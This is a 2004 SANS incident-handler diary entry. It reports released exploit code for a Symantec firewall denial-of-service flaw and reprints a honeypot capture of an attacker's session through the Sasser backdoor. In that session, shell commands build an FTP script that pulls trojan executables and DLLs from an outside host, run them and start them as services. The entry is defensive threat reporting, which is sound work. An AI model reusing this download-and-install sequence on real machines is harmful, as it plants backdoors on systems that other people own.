Symantec DOS Exploit Code, Sasser Backdoor Exploit Capture, Reading Material

Published: 2004-05-15
Last Updated: 2004-05-15 23:22:13 UTC
by Dave Brookshire (Version: 1)
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Exploit code for Symantec Multiple Firewall DNS Response DOS Released


Code exploiting the recently published vulnerability ( http://www.eeye.com/html/Research/Advisories/AD20040512B.html ) in some of Symantec's security products (Norton Internet Security, Norton Personal Firewall, and Norton Anti-Spam) has been posted on Bugtraq. This vulnerability does not provide a remote shell, but is a Denial-of-Service attack.

Again, if you run these products, please update them using Live Update. We predict that it's only a matter of time before we see a "Witty"-like worm in the wild.

Sasser Backdoor Exploit Honeypot Capture


LURHQ's Joe Stewart has provided the following capture of the Sasser Backdoor Exploit. This capture was of an interactive session, not an automated tool.

<snipped exploit hexdump>

mandragore bsh shellcode detected

Bind port is 9875

Binding shell on port 9875

Connection on 9875 from 80.61.65.20

C:\WINNT\system32>echo open LC0311-A.STUDENT.TCU.EDU 6789 > id

C:\WINNT\system32>echo user root root >> id

C:\WINNT\system32>echo bin >> id

C:\WINNT\system32>echo get service.exe >> id

C:\WINNT\system32>echo get mss32.dll >> id

C:\WINNT\system32>echo get sub0t.dll >> id

C:\WINNT\system32>echo get SUB0T.ini >> id

C:\WINNT\system32>echo get mshelp.exe >> id

C:\WINNT\system32>echo bye >> id

C:\WINNT\system32>ftp.exe -i -n -s:id

C:\WINNT\system32>erase id

C:\WINNT\system32>mshelp.exe

C:\WINNT\system32>service.exe /i

C:\WINNT\system32>net start mshelp

C:\WINNT\system32>net start secman

C:\WINNT\system32>dir

Connection closed by peer


Selected Reading Material

For your quiet Saturday reading, posted May 2, 2004 to the SANS Reading Room, "A Security Checklist for Web Application Design," by Gail Zemanek Bayse.

http://www.sans.org/rr/papers/index.php?id=1389

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Handler-on-Duty: Dave Brookshire ( dsb_AT_rlx.com )
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